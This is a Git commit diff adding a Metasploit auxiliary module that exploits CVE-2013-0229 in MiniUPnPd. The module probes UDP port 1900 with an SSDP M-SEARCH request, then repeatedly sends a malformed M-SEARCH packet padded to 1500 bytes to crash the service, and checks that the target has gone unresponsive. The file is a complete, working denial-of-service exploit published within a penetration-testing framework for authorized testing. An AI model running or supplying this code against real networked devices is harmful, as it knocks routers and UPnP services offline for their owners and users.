Land rapid7#1842, @viris DoS module for cve-2013-0229

Author: jvazquez-r7

modules/auxiliary/dos/upnp/miniupnpd_dos.rb

@@ -0,0 +1,107 @@
+##
+# This file is part of the Metasploit Framework and may be subject to
+# redistribution and commercial restrictions. Please see the Metasploit
+# web site for more information on licensing and terms of use.
+#	 http://metasploit.com/
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+
+	include Msf::Exploit::Remote::Udp
+	include Msf::Auxiliary::Dos
+
+	def initialize(info = {})
+		super(update_info(info,
+			'Name'           => 'MiniUPnPd 1.4 Denial of Service (DoS) Exploit',
+			'Description'    => %q{
+					This module allows remote attackers to cause a denial of service in MiniUPnP 1.0
+				server via specifically crafted UDP request.
+			},
+			'Author'         =>
+				[
+					'hdm', # Vulnerability discovery
+					'Dejan Lukan' # Metasploit module
+				],
+			'License'        => MSF_LICENSE,
+			'References'     =>
+				[
+					[ 'CVE', '2013-0229' ],
+					[ 'OSVDB', '89625' ],
+					[ 'BID', '57607' ],
+					[ 'URL', 'https://community.rapid7.com/servlet/JiveServlet/download/2150-1-16596/SecurityFlawsUPnP.pdf' ]
+				],
+			'DisclosureDate' => 'Mar 27 2013',
+		))
+
+		register_options(
+		[
+			Opt::RPORT(1900),
+			OptInt.new('ATTEMPTS', [true, 'Max number of attempts to DoS the remote MiniUPnP ending', 3 ])
+		], self.class)
+	end
+
+	def send_probe(udp_sock, probe)
+		udp_sock.put(probe)
+		data = udp_sock.recvfrom
+		if data and not data[0].empty?
+			return data[0]
+		else
+			return nil
+		end
+	end
+
+	def run
+    # the M-SEARCH probe packet that tries to identify whether the service is up or not
+		msearch_probe = "M-SEARCH * HTTP/1.1\r\n"
+		msearch_probe << "Host:239.255.255.250:1900\r\n"
+		msearch_probe << "ST:upnp:rootdevice\r\n"
+		msearch_probe << "Man:\"ssdp:discover\"\r\n"
+		msearch_probe << "MX:3\r\n"
+		msearch_probe << "\r\n"
+
+		# the M-SEARCH packet that is being read line by line: there shouldn't be CRLF after the
+		# ST line
+		sploit = "M-SEARCH * HTTP/1.1\r\n"
+		sploit << "HOST: 239.255.255.250:1900\r\n"
+		sploit << "ST:uuid:schemas:device:MX:3"
+		# the packet can be at most 1500 bytes long, so add appropriate number of ' ' or '\t'
+		# this makes the DoS exploit more probable, since we're occupying the stack with arbitrary
+		# characters: there's more chance that the the program will run off the stack.
+		sploit += ' '*(1500-sploit.length)
+
+
+		# connect to the UDP port
+		connect_udp
+
+		print_status("#{rhost}:#{rport} - Checking UPnP...")
+		response = send_probe(udp_sock, msearch_probe)
+		if response.nil?
+			print_error("#{rhost}:#{rport} - UPnP end not found")
+			disconnect_udp
+			return
+		end
+
+		(1..datastore['ATTEMPTS']).each { |attempt|
+			print_status("#{rhost}:#{rport} - UPnP DoS attempt #{attempt}...")
+
+			# send the exploit to the target
+			print_status("#{rhost}:#{rport} - Sending malformed packet...")
+			udp_sock.put(sploit)
+
+      # send the probe to the target
+			print_status("#{rhost}:#{rport} - The target should be unresponsive now...")
+			response = send_probe(udp_sock, msearch_probe)
+			if response.nil?
+				print_good("#{rhost}:#{rport} - UPnP unresponsive")
+				disconnect_udp
+				return
+			else
+				print_status("#{rhost}:#{rport} - UPnP is responsive still")
+			end
+		}
+
+		disconnect_udp
+	end
+end